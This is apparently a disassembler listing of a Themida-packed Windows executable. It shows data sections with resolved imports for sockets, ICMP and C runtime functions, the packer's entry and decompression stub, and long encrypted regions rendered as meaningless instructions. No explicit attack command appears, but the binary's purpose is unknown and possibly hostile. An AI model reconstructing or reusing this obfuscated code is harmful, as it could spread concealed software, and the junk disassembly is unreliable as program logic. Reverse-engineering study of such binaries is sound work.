		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D818B	db 0			; DATA XREF: sub_426B60+16o
					; sub_426B90+19o
		db 3 dup(0)
byte_4D818F	db 0			; DATA XREF: sub_426A90+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D834F	db 0			; DATA XREF: ___:0040828Fo
					; ___:00408720o ...
		dd 8 dup(0)
dword_4D8370	dd 0				dd 51h dup(0)
		db 0
byte_4D84B9	db 0			; DATA XREF: sub_427B10:loc_427BC0r
					; sub_427FD0:loc_428085r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D8735	dd 0							; sub_427FD0+7Dw ...
		align 4
		dd 3D0h	dup(0)
		db 0
byte_4D967D	db 3 dup(0)		; DATA XREF: sub_58A891+D6A6o
		dd 1B09h dup(0)
		db 0
byte_4E02A5	db 3 dup(0)		; DATA XREF: ___:00419F93o
					; sub_41A050+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E7D8F	db 0			; DATA XREF: sub_427D50+1Do
		dd 21h dup(0)
		db 0
byte_4E7E15	db 3 dup(0)		; DATA XREF: ___:00419FA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E86EF	db 0			; DATA XREF: sub_427D50+2Fo
		dd 1D5h	dup(0)
byte_4E8E44	db 0			; DATA XREF: sub_404CC0+299w
					; sub_410030:loc_410072r ...
byte_4E8E45	db 3 dup(0)		; DATA XREF: sub_404CC0+235o
					; sub_404CC0+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E8E5A	dw 0			; DATA XREF: sub_404CC0+2D4o
					; ___:00408734o ...
		dd 0Fh dup(0)
		db 0
byte_4E8E99	db 0			; DATA XREF: sub_41F960+31w
					; sub_41F960+47w ...
		db 0
byte_4E8E9B	db 0			; DATA XREF: sub_418590+21o
					; sub_41D930+341o ...
		dd 6D2Eh dup(0)
dword_504354	dd 12B6h dup(0)	dword_508E2C	dd 1000h dup(0)						; ___:00419B9Do ...
dword_50CE2C	dd 333h	dup(0)						; ___:00419BB8o ...
dword_50DAF8	dd 0							; sub_41A110+1Br ...
		dd 3 dup(0)
dword_50DB08	dd 0							; ___:0041FC3Dw ...
dword_50DB0C	dd 0							; sub_41FB90+2Aw ...
dword_50DB10	dd 0		dword_50DB14	dd 0							; ___:0041FC5Bw
dword_50DB18	dd 0		dword_50DB1C	dd 0							; ___:0041FC67w ...
dword_50DB20	dd 0							; ___:0041FC6Dw ...
dword_50DB24	dd 0							; ___:00420EA9o
dword_50DB28	dd 0							; sub_41FB90:loc_41FBB4r ...
dword_50DB2C	dd 0							; ___:0041FC81w
dword_50DB30	dd 0							; sub_420630+41w ...
dword_50DB34	dd 0							; sub_420630+7Fr
dword_50DB38	dd 0							; sub_420630+92r ...
dword_50DB3C	dd 0							; sub_420630+148r
		dd 3 dup(0)
dword_50DB4C	dd 0							; ___:0041C2A5o
dword_50DB50	dd 0							; sub_423820+5r ...
dword_50DB54	dd 0							; ___:00423FABr ...
		dd 7CEh	dup(0)
dword_50FA90	dd 6 dup(0)						; ___:00423EAFo ...
dword_50FAA8	dd 196h	dup(0)						; sub_423760+6Do
dword_510100	dd 0		word_510104	dw 0			; DATA XREF: sub_424F70+A9r
		align 4
word_510108	dw 0			; DATA XREF: sub_4253C0+45r
					; sub_4257F0+DAr
		align 4
dword_51010C	dd 0				dd 0
byte_510114	db 0			; DATA XREF: sub_4267D0:loc_426830r
					; sub_4267D0+97w
		align 4
dword_510118	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_427B10+D9r
dword_51011C	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_427B10+45r
dword_510120	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_427B10+54r ...
		align 8
dword_510128	dd 80h dup(0)						; sub_427D50+129o
dword_510328	dd 0		dword_51032C	dd 0				dd 1Dh dup(0)
dword_5103A4	dd 0							; ___:0042C40Dr ...
dword_5103A8	dd 0							; sub_42DE00:loc_42DE96r ...
dword_5103AC	dd 0		; resolved to->WS2_32.connect					; sub_432570+2Dr ...
dword_5103B0	dd 0		dword_5103B4	dd 0							; sub_431560r ...
dword_5103B8	dd 0		dword_5103BC	dd 0							; sub_4309A0+111w ...
dword_5103C0	dd 0							; sub_4309A0+F6r ...
dword_5103C4	dd 0							; ___:loc_4316A0r
dword_5103C8	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_4322D0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Ah	dup(0)
dword_5108C0	dd 10h dup(0)						; sub_431470:loc_4314A0o ...
dword_510900	dd 8 dup(0)						; sub_430830+25o ...
dword_510920	dd 8 dup(0)						; sub_431980+25o ...
dword_510940	dd 8 dup(0)						; sub_432850+84o ...
dword_510960	dd 8 dup(0)						; sub_432850+8Bo ...
dword_510980	dd 9 dup(0)						; sub_4309A0:loc_430AB7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 192h dup(0)
		dd 5 dup(39825A2Ah), 5 dup(5B5DDAADh), 5 dup(7CBA7757h)
		dd 5 dup(70C2D806h), 5 dup(13CF8E05h), 5 dup(367A28Ah)
		dd 5 dup(25561780h), 5 dup(587446FFh), 5 dup(4AD35680h)
		dd 5 dup(3B15A31Ah), 5 dup(312C2F68h), 1Eh dup(0)
		dd 367A28Ah, 10h dup(0)
		dd 312C2F68h, 59h dup(0)
		dd 70C2D806h, 1Ch dup(0)
		dd 4AD35680h, 14h dup(0)
		dd 5B5DDAADh, 52h dup(0)
		dd 39825A2Ah, 1Bh dup(0)
		dd 3B15A31Ah, 0Bh dup(0)
		dd 25561780h, 0Ch dup(0)
		dd 13CF8E05h, 2Bh dup(0)
		dd 587446FFh, 11h dup(0)
		dd 7CBA7757h, 0Ah dup(0)
		dd 28C0000h, 28D0000h, 28E0000h
dword_511718	dd 28E132Ch			dd 28E143Fh
dword_511720	dd 28E16F4h			dd 28E1A1Ah, 28F0000h
dword_51172C	dd 2900000h			dd 2901053h, 29014B3h, 290183Ah, 2901CDFh
dword_511740	dd 2910000h						; sub_40E870+25Ar ...
dword_511744	dd 2910485h	dword_511748	dd 29106DDh			dd 29108D6h, 2910C0Ah
dword_511754	dd 2920000h						; sub_40EE40+15Er ...
		dd 2920261h
dword_51175C	dd 2930000h						; sub_40E870+22Cr
		dd 2940000h
dword_511764	dd 2950000h						; sub_4208E0+285r ...
		dd 2960000h
dword_51176C	dd 2961238h						; sub_40E870+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
dword_5117E0	dd 2720000h						; sub_420630+FEr
		dd 2730000h, 2740000h, 2740761h, 2740919h, 2740BEAh, 2740D2Eh
		dd 2750000h, 27507B2h, 2750B00h, 2760000h, 276029Fh, 276098Ch
		dd 27609DFh, 2770000h, 2770399h, 277071Dh, 2770A15h, 2770C3Fh
		dd 2780000h, 2780094h, 278061Bh, 27806B2h, 27809F6h, 2780C8Eh
		dd 2790000h, 2790203h, 27903E2h, 27905ECh, 279073Dh, 27908AFh
		dd 2790944h, 27A0000h
dword_511864	dd 27A08AFh	dword_511868	dd 27B0000h	dword_51186C	dd 27B012Eh	; ---------------------------------------------------------------------------
		add	eax, 0ED7C9010h
		adc	[eax+7B032F7Ch], dl
		add	al, [ecx-63FD84FDh]
		add	edi, [ebx+2]
		retf
; ---------------------------------------------------------------------------
		db 4, 7Bh, 2
		dd 27B0B75h, 27C0000h, 27C0396h, 27D0000h, 27E0000h, 27E0840h
		dd 27F0000h, 2800000h, 280089Fh
dword_5118AC	dd 2800B86h						; sub_410030+47r ...
		dd 2800BFCh, 2810000h, 2810550h, 2820000h, 282112Dh, 2830000h
		dd 2840000h
dword_5118CC	dd 28415DAh			dd 28417ACh, 2841B52h
dword_5118D8	dd 2841E5Ch						; sub_41B5B0+2Fr ...
		dd 2850000h
dword_5118E0	dd 28506B2h						; sub_4204D0+2Er ...
		dd 2850B2Eh, 2860000h, 2870000h
dword_5118F0	dd 28703F9h			dd 287073Dh, 2880000h, 2890000h, 2891118h, 2891C12h, 28A0000h
		dd 28A0712h, 28A0BAAh, 28B0000h
dword_511918	dd 28B03EEh						; sub_420630:loc_42067Cr ...
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh	dup(0)
		dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh
dword_5119E0	dd 760AC190h			dd 0Dh dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		ja	short loc_511A99
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 0DBh	; Û
		db 0F1h	; ñ
		db 0C1h	; Á
		db  77h	; w
; ---------------------------------------------------------------------------


loc_511A24:				; CODE XREF: ___:00511A34j
		movsb
		icebp
		sal	dword ptr [edi-28h], 23h
		mov	byte ptr [edi+75h], 0D6h
		les	esi, [edi+67h]
		popf
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		jmp	short loc_511A24
; ---------------------------------------------------------------------------
		sal	dword ptr [edi-54h], 17h
		mov	byte ptr [edi-52h], 2Dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h
		dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh
		dd 77C4186Ah
dword_511A6C	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42E5B0+53r ...
dword_511A70	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h
dword_511A7C	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h
dword_511A8C	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_511A90	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42DE00+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h
; ---------------------------------------------------------------------------


loc_511A99:				; CODE XREF: ___:00511A1Bj
		sbb	eax, esp
; ---------------------------------------------------------------------------
		db 77h
dword_511A9C	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_511AA0	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_511AA4	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_511AA8	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_511AAC	dd 77C41574h	; resolved to->MSVCRT.ftelldword_511AB0	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_511AB8	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C3DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_511AC8	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA50+17Er ...
		dd 77C371BCh
dword_511AD0	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42F2C0+34r ...
		dd 77C2C407h
dword_511AD8	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_511AE0	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42DE00+90r
dword_511AE4	dd 77C3FA76h	; resolved to->MSVCRT._snprintf					; sub_426070+C8r ...
		db 90h
		db 0CFh, 0C1h, 77h
dword_511AEC	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_511B00	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD90+5Dr
dword_511B04	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_410030+1126r ...
dword_511B08	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419CDAr
		dd 77C29CDDh, 77C293C7h
dword_511B14	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422B40+203r ...
		dd 77C35F0Dh
dword_511B1C	dd 77C5F988h	; resolved to->MSVCRT._pctype		dd 77C46170h, 77C1C561h, 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28B0C4Bh
off_511C00	dd offset sub_5FC011	; DATA XREF: ___:00419FBDr
					; sub_41A050+2Dr ...
		dd 0Bh dup(0)
		dd 71AB951Eh, 71AB3E00h
dword_511C38	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425100:loc_4251B2r ...
dword_511C3C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42B8E0:loc_42B99Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_511C50	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AC0B50h
dword_511C5C	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB2BC0h
dword_511C64	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_511C68	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42B8E0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh, 71AB4FD4h
dword_511C88	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB88D3h, 71AB2BC0h
dword_511C94	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A7D0+48r ...
dword_511C98	dd 71AC1028h	; resolved to->WS2_32.acceptdword_511C9C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F960+198r ...
dword_511CA0	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004217E1r ...
dword_511CA4	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_4253C0+8Br ...
		dd 71AB2BF4h
dword_511CAC	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42C830+E8r
		dd 71ABE479h, 11h dup(0)
		dd 76D6AC1Dh, 4C1h dup(0)
___		ends

; Section 2. (virtual address 00113000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 513000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00114000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00114000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 514000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 114050h, 114000h, 3 dup(0)
		dd 114079h, 11400Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00115000)
; Virtual size			: 00111000 (1118208.)
; Section size in file		: 00111000 (1118208.)
; Offset to raw	data for section: 00115000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 515000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0F2A1B840h, 403B0h, 5F81Ah, 15A172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058663E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00589ADB SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00589D51 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_515086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_515041
		popa
		jmp	short loc_515076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh
; ---------------------------------------------------------------------------
		inc	eax


loc_515041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51504E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51506D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_515074


loc_51506D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51504E
; ---------------------------------------------------------------------------


loc_515074:				; CODE XREF: start+57j
		mov	edi, eax


loc_515076:				; CODE XREF: start+1Bj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11526Ah
		add	ecx, edi
		jmp	short loc_515090
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: start+8j
		mov	eax, offset loc_58663E
		mov	ecx, offset word_51526A


loc_515090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_515265:				; CODE XREF: start:loc_515076j
					; start+9Dj
		jmp	loc_58663E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: start+77o
		dd 1563498h, 430138AFh,	2422BEABh, 22AF1BE1h, 0EE1AE171h
		dd 848B21BCh, 11C8FF3Ah, 0EFAE42B8h, 0BE1CDA4Eh, 37092F3h
		dd 33E4558Fh, 0FEFC283Dh, 39837FFh, 0F0507708h,	0AA0EE104h
		dd 42B83588h, 0DED6EFAFh, 9578F250h, 68548014h,	64696D65h
		dd 0AF506159h, 0FF0147BBh, 11EE2288h, 3622AFFAh, 77575094h
		dd 73655280h, 0E6726174h, 7A707141h, 0E1787C2Eh, 0BCBE014Ah
		dd 1CC5728Bh, 22E860D4h, 0ED815D00h, 7D134A7h, 4D951889h
		dd 21B50D23h, 20853244h, 83082B71h, 3822EDBDh, 8B0C7407h
		dd 0B8E222E8h, 0C27B5D52h, 244470C7h, 0C1313E1Ch, 0E8456A4Bh
		dd 682983A3h, 0E783749Ah, 0A01DFA5h, 0A894B25h,	0E910D5E9h
		dd 0ECA50214h
; ---------------------------------------------------------------------------
		jge	short $+2
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003595h
		fcmovb	st, st(7)
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp edi, 4Bh
		adc	[esi-14BCE7EEh], ah
		loope	loc_5153A2
		fsub	qword ptr [ecx-23h]
		db	26h
		add	eax, 104C2C9h
		inc	esi
		add	esp, 2A3FF7Ch
		dec	ecx
		xchg	eax, ecx
		fiadd	word ptr [eax]
		lea	eax, [ebp-80h]
		mov	ebx, [ebp+8]
		mov	dword ptr [ecx-7Bh], 8D501219h ; CODE XREF: Themida_:005153B4j
		or	byte ptr [edx],	0D1h
		retn
; ---------------------------------------------------------------------------
		mov	[eax], bl
		sub	al, [ecx-77h]
		or	ebp, [eax]
		cmp	dword ptr [ebp+755D8006h], 0A27A5E3h


loc_5153A2:				; CODE XREF: Themida_:0051536Aj
		lea	edi, [edx+75013B64h]
		or	byte ptr [edx+24F4BB0Eh], 5Bh
		mov	eax, 5437AB03h
		js	short near ptr loc_515386+3
		sal	bl, 1
		femms
		or	[ebx+75h], cl
		test	ecx, 4647C3AFh
		dec	ecx
		dec	edx
		sbb	[esi-7], al
		test	al, 42h
		shl	dword ptr [ecx-52h], 1
		mov	al, [ecx-9280F30h]
		out	dx, al
		sub	[ebp-4], al
		dec	ebp
		sub	bl, ch
		add	al, 0ADh
		repne inc esi
		xor	[eax-4508BFC2h], eax
		dec	ebp
		test	[ecx+0C7D8634h], bh
		jmp	short loc_51546C
; ---------------------------------------------------------------------------
		db 3Eh,	43h, 0F8h
		dd 0F0126D32h, 0F40E2A13h, 0C14A0510h, 4F065h, 0E0D1F8D6h
		dd 80E5C203h, 8ADB3328h, 7380301Ch, 0A7230FBh, 577390Ah
		dd 0C9FBEBF4h, 61149F22h, 660A0DD9h, 1EBD08FDh,	0AC33A7Dh
		dd 411A10B0h, 0AC30B72h, 7A067746h, 5D018824h, 0F4ECF061h
		dd 2CC7D83h, 0CB06C72h,	0A5DD76C0h, 0F826AA99h,	8D1D3807h
		dd 3B02A8A8h, 820FFC55h, 0B0BDA778h, 0F938AA06h, 8308BA43h
		dd 0A17082B9h
; ---------------------------------------------------------------------------


loc_51546C:				; CODE XREF: Themida_:005153EBj
		cld
		mov	ebp, 0FE003724h


loc_515472:				; CODE XREF: Themida_:loc_515476j
		cmova	eax, [edi]
		dec	ecx


loc_515476:				; CODE XREF: Themida_:005154C0j
		jnz	short loc_515472
		mov	ecx, 706A1722h
		mov	ebx, 1D125101h
		icebp
		sub	bl, 0B7h
		add	ah, [eax-72h]
		xchg	dh, [eax]
		cmp	[edi], edi
		ror	byte ptr [eax],	cl
		mov	eax, 45363F65h
		fmul	qword ptr [edx-16EC10DAh]
		in	al, 47h
		pop	ecx
		imul	esi, edi, 56h
		xchg	eax, esi
		add	al, 13h
		sbb	al, 21h
		pop	esi
		les	eax, [eax+5256D8Ah]
		add	byte ptr [ebp-34h], 8
		push	ds
		and	[esi+0], eax
		push	esi
		les	ebx, [edi-161F9225h]
		mov	ds:0CB363D00h, eax
		js	short loc_515476
		lds	esp, [ecx+67h]
		add	[edx+103AC1CFh], al
		sal	bl, 62h
		rcl	byte ptr [edx],	0E4h
		mul	byte ptr [edx+5318C32Ch]
		jmp	far ptr	0CE00h:12084D0Dh
; ---------------------------------------------------------------------------
		dw 9BD9h
		dd 94283F50h, 0C12519B9h, 40F1AC5Ch, 0E08C6787h, 3460CBE4h
		dd 4E39820Eh, 0F76005Bh, 3D51B810h, 3BF8D104h, 58C346ECh
		dd 0AB2E0975h, 480E0111h, 9065E4ECh, 847C4006h,	8E1505C5h
		dd 23994396h, 0C204C253h, 718C29A2h, 0EE78D86h,	0FF98A6DDh
		dd 6077812Bh, 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh
		dd 3039EFB3h, 0EC419C02h, 0CC7F8C4Ch, 8640FCFFh, 0E952457Fh
		dd 0C4628060h, 44D8C52h, 0AA821125h, 68AB26B1h,	4513845Ah
		dd 5EFF3056h, 4E55EE82h, 0C204281h, 0B9D58A27h,	29231310h
		dd 67404397h, 0A1C9A9BCh, 8DDCDFD5h, 0C48200DAh, 16E9869Ah
		dd 500E281h, 140301BCh,	7ECA0B70h, 47456A10h, 87531141h
		dd 8A22C45Bh, 43001C55h, 0F590C453h, 3AF1F6Ah, 9FAC6F4Eh
		dd 8430610Fh, 62F106CBh, 168619C8h, 0AA02D218h,	0C1F473Fh
		dd 0DA69EA0Ah, 1747DC0Ah, 100A914Fh, 1D058Dh, 8AA40EBCh
		dd 1D68CA86h, 465C5E28h, 83EA001Bh, 66E8FBC0h, 0FE8B39B7h
		dd 1898D924h, 9325EDFh,	9522E981h, 68765900h, 29165FBAh
